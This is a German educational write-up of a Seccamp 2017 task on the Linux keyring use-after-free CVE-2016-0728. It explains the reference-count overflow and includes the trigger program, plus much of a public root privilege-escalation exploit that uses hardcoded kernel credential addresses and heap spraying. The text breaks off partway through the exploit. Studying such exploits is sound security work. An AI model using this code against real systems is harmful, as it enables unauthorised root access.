
Pädagogischer Linux-Kernel-Exploit für CVE-2016-0728 (Use-after-Free im Key-Retention-Dienst) mit detaillierter Analyse, PoC-Code und Diskussion von Gegenmaßnahmen zur Privilegieneskalation.
Seccamp 2017 Aufgabe
Das folgende Programm nutzt eine Schwachstelle im Linux-Kernel 3.8 bis 4.4 aus. Beschreiben Sie die Fehlfunktion, die durch die Ausführung dieses Programms verursacht wird. Beschreiben Sie außerdem einen Exploit, der diese Schwachstelle weiter ausnutzt, um eine Root-Privilegieneskalation durchzuführen, und erläutern Sie Ihre Testumgebung und die von Ihnen angewandten Tricks. Nennen Sie so viele Maßnahmen zur Eindämmung solcher Angriffe wie möglich und erläutern Sie diese. Es ist in Ordnung, wenn Sie nicht alles vollständig verstehen. Beschreiben Sie in Ihren eigenen Worten, was Sie bisher verstanden haben, den Ablauf Ihrer Experimente und Ihre Eindrücke. Geben Sie außerdem die von Ihnen verwendeten Quellen und Literatur an.
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
Die Testumgebung ist wie folgt:
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
Ich habe diese Schwachstelle zum ersten Mal kennengelernt. Ich beschreibe, was ich bei der Recherche herausgefunden habe und was ich dabei ausprobiert habe. Zuerst erkläre ich den in diesem Programm verwendeten Schlüsselspeicherdienst, dann die von diesem Programm ausgenutzte Use-After-Free-Schwachstelle und deren Ursache im Programm, und schließlich die daraus resultierenden Fehlfunktionen. Diese Schwachstelle ist als CVE-2016-0728 registriert. Für einen Überblick habe ich die folgende Seite verwendet:
Da ich den Schlüsselspeicherdienst von Linux ebenfalls zum ersten Mal kannte, habe ich die IBM-Webseite zur Einführung in den Linux-Schlüsselspeicherdienst
https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html
und den Quellcode des Linux-Kernels 3.19 (meine Testumgebung)
verwendet. Zum Senden von Kernel-Meldungen an das Host-Betriebssystem über das Netzwerk habe ich DEBUG HACKS – Techniken und Werkzeuge zum Meistern des Debuggens (O'REILLY) verwendet.
Dieses Programm (im Folgenden leak.c genannt) nutzt einen Fehler im Linux-Schlüsselspeicherdienst aus, der zu einer Use-After-Free-Schwachstelle führt. Eine Use-After-Free-Schwachstelle ermöglicht die Ausführung beliebigen Codes, wenn aufgrund einer Inkonsistenz des Programms auf eine bereits freigegebene Heap-Speicheradresse zugegriffen wird. Zunächst erkläre ich den von diesem Programm verwendeten Systemaufruf keyctl() und beschreibe den darin enthaltenen Fehler.
Jeder Prozess kann mit dem Systemaufruf keyctl(KEYCTL_JOIN_SESSION_KEYRING, name) einen prozesseigenen Schlüsselbund für die aktuelle Sitzung erstellen. Dieser Schlüsselbund kann zwischen Prozessen gemeinsam genutzt werden, indem auf den Namen name verwiesen wird. Wenn ein Prozess bereits einen Sitzungsschlüsselbund besitzt, ersetzt dieser Systemaufruf den Sitzungsschlüsselbund durch einen neuen. Um diese Funktionsweise besser zu verstehen, habe ich die Funktion join_session_keyring in /security/keys/process_keys.c des Kernel-Quellcodes untersucht. Sie sieht wie folgt aus. Beim Ersetzen des Sitzungsschlüsselbunds durch einen neuen wird die Funktion key_put übersprungen. key_put ist eine Funktion, die die Referenz auf den als Argument übergebenen Schlüsselbund freigibt. Durch das Überspringen bleibt eine Referenz auf den neuen Schlüsselbund bestehen, was zur Use-After-Free-Schwachstelle führt.
Wenn dieser Schlüsselbund zwischen Prozessen gemeinsam genutzt wird, erhöht sich die interne Referenzanzahl, die im Member usage der Struktur key gespeichert ist. Das Member usage ist vom Typ atomic_t, was tatsächlich als typedef einer Struktur mit einer einzigen int-Variablen definiert ist. Da es keinen Mechanismus gibt, um einen Überlauf dieses Members zu verhindern, kann die Referenzanzahl durch wiederholtes Erhöhen bis zum Überlauf auf 0 gebracht werden. Wenn usage 0 erreicht, wird der Schlüsselbund durch die interne Garbage Collection des Schlüsselbund-Subsystems freigegeben. Indem ein Kernel-Modul, das beliebige Operationen ausführt, aus dem Benutzerraum in diesen freigegebenen Bereich platziert wird, kann diese Operation mit Kernel-Berechtigungen ausgeführt werden.
Auf der referenzierten Website wird gezeigt, dass nach dem Kompilieren und Ausführen von leak.c mit der Bibliothek keyutils in /proc/keys ein Sitzungsschlüsselbund namens leaked-key registriert wird, auf den 100 Mal zugegriffen wurde. Es wurde überprüft, dass leaked-keyring vor und nach der Ausführung dieses Programms wie folgt angezeigt wird:
# Vor der Ausführung
$ cat /proc/keys
$ ./leak
# Nach der Ausführung
$ cat /proc/keys
0fd435e9 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
In meiner Testumgebung wurde leaked-keyring jedoch nicht angezeigt. Als ich versuchsweise die Bedingung der for-Schleife auf einen großen Wert wie i < 0x1000000 änderte, wurde leaked-keyring während der Programmausführung angezeigt. In diesem Fall wird der Angriff ermöglicht, indem man das Member usage zum Überlauf bringt, den Schlüssel freigibt und ein neues Kernel-Objekt dort platziert. Also habe ich beschlossen, es auszuprobieren. Den Exploit-Code habe ich von der folgenden Seite übernommen:
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;